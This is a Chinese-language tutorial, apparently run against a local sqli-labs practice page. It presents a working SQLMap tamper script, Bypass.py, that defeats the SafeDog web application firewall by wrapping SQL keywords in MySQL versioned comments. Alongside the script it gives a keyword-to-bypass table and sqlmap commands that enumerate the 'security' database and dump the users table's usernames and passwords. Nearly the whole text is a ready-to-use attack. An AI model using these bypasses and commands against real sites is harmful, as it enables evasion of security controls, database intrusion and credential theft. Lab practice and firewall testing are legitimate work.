【Python脚本】SQLMap的Tamper脚本——绕过安全狗

一、安全狗的绕过方法

针对WAF编写Tamper脚本进行绕过

安装网站安全狗，此时再次尝试SQL注入时，安全狗会拦截

                                                        安全狗的绕过方法

被过滤的关键字	绕过方法
空格	/*!*/
=	/*!*/=/*!*/
AND	/*!*/AND/*!*/
UNION	union/*!88888cas*/
#	/*!*/#
USER()	USER/*!()*/
DATABASE()	DATABASE/*!()*/
--	/*!*/--
SELECT	/*!88888cas*/select
FROM	/*!99999c*//*!99999c*/from

二、把安全狗拦截的关键字进行替换

Bypass.py

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.NORMAL

def dependencies():
	pass

def tamper(payload,**kwargs):
	if payload:
		payload = payload.replace("UNION","union/*!88888cas*/")
		payload = payload.replace("--", "/*!*/--")
		payload = payload.replace("SELECT", "/*!88888cas*/select")
		payload = payload.replace("FROM", "/*!99999c*//*!99999c*/from")
		payload = payload.replace("#", "/*!*/#")
		payload = payload.replace("USER()", "USER/*!()*/")
		payload = payload.replace("DATABASE()", "DATABASE/*!()*/")
		payload = payload.replace("AND", "/*!*/AND/*!*/")
		payload = payload.replace("=", "/*!*/=/*!*/")
		payload = payload.replace(" ", "/*!*/")
	return payload

三、脚本执行

3.1、SQL注入

sqlmap -u "http://127.0.0.1/sql/Less-4/?id=1" --tamper "Bypass.py" -v 3

3.2、遍历security库里的数据表

sqlmap -u "http://127.0.0.1/sql/Less-4/?id=1"  -v 3 --tamper "Bypass.py"  -D “security” --tables

3.3、遍历security库中users表的字段

sqlmap -u "http://127.0.0.1/sql/Less-4/?id=1"  -v 3 --tamper "Bypass.py"  -D “security” -T “users” --columns

3.4、遍历数据

sqlmap -u "http://127.0.0.1/sql/Less-4/?id=1"  -v 3 --tamper "Bypass.py"  -D “security” -T “users” -C “username,password” --dump